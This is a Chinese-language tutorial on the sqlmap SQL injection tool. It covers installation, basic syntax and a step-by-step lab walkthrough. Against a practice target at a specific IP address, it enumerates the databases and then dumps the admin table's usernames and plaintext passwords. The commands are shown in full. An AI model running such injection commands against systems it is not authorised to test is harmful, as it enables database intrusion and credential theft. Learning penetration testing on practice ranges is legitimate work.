SQLMap工具介绍:
sqlmap是一个开源软件,用于检测和利用数据库漏洞,并提供将恶意代码注入其中的选项。 它是一种渗透测试工具,可自动检测和利用SQL注入漏洞,在终端中提供其用户界面。该软件在命令行运行,可供不同操作系统下载:Linux发行版,Windows和Mac OS操作系统。 除了映射和检测漏洞之外,该软件还可以访问数据库,编辑和删除数据,以及查看表格中的数据,例如用户,密码,备份,电话号码,电子邮件地址,信用卡和其他机密和敏感信息。 sqlmap完全支持多个DBMS,包括MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird和SAP MaxDB。 并全面支持所有注入技术:布尔值,错误,堆栈,时间,联盟。
下载
1.linux下git直接安装
gitclone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
2.Windows下安装
Windows下进入官网http://sqlmap.org/下载安装包解压缩就可以使用。但需要python2.7.x或者2.6.x环境支持。
3.kali及PentestBox默认安装sqlmap
基础语法
sqlmap.py -u “注入地址” --dbs // 列举数据库
sqlmap.py -u “注入地址” --current--db // 当前数据库
sqlmap.py -u “注入地址” --users // 列数据库用户
sqlmap.py -u “注入地址” --current--user // 当前用户
sqlmap.py -u “注入地址” --tables -D “数据库” // 列举数据库的表名
sqlmap.py -u “注入地址” --columns -T “表名” -D “数据库” // 获取表的列名
sqlmap.py -u “注入地址” --dump -C “列名字” -T “表名字” -D “数据库” //获取数据库下表的列信息
打开SQLMap
今天我们环境使用的是Windows 10家庭中文版操作系统和Python 2.7.13由于本机Python环境已经搭建好,所以就不进行演示。接下来我们打开SQLMap:
可以进入本地SQLMAp的目录下,在搜索框输入cmd,然后按回车进入,如图所示:
也可以右击SQLMap文件夹下的sqlmap.py文件创建快捷方式,右键选择属性,修改目标为%windir%\system32\cmd.exe
确定保存
点击快捷方式直接打开SQLMap,可以验证一下
将SQLMap快捷方式添加到launchy快捷打开
SQLMap的使用
在网上找到了一个练习SQL注入的靶场,http://120.203.13.75:6815/?id=1,这道题是要我们通过sql注入拿到管理员密码!
使用F12查看页面cookie,发现页面并没有设置cookie,下面使用SQLMap
查看数据库sqlmap.py -u "http://120.203.13.75:6815/?id=1" --batch --dbs
查看当前使用的数据库,sqlmap.py -u "http://120.203.13.75:6815/?id=1" --batch --current-db
接下来试一下直接爆出maoshe数据库的用户名、和密码。sqlmap.py -u "http://120.203.13.75:6815/?id=1" --batch --users --passwords,但是并没有成功,原因可能是因为DBMS当前用户对相关系统数据库表没有读取权限
查看数据库“maoshe”中的表 ,sqlmap.py -u "http://120.203.13.75:6815/?id=1" --batch -D maoshe --tables,看到了一个名字为admin的表
查看admin表中的列名sqlmap.py -u "http://120.203.13.75:6815/?id=1" --batch -D maoshe -T admin --columns,发现是储存用户信息的表
查看username和password列信息sqlmap.py -u "http://120.203.13.75:6815/?id=1" --dump -C "password,username" -T admin -D "maoshe",爆出admin管理员用户信息而且密码使用明文保存的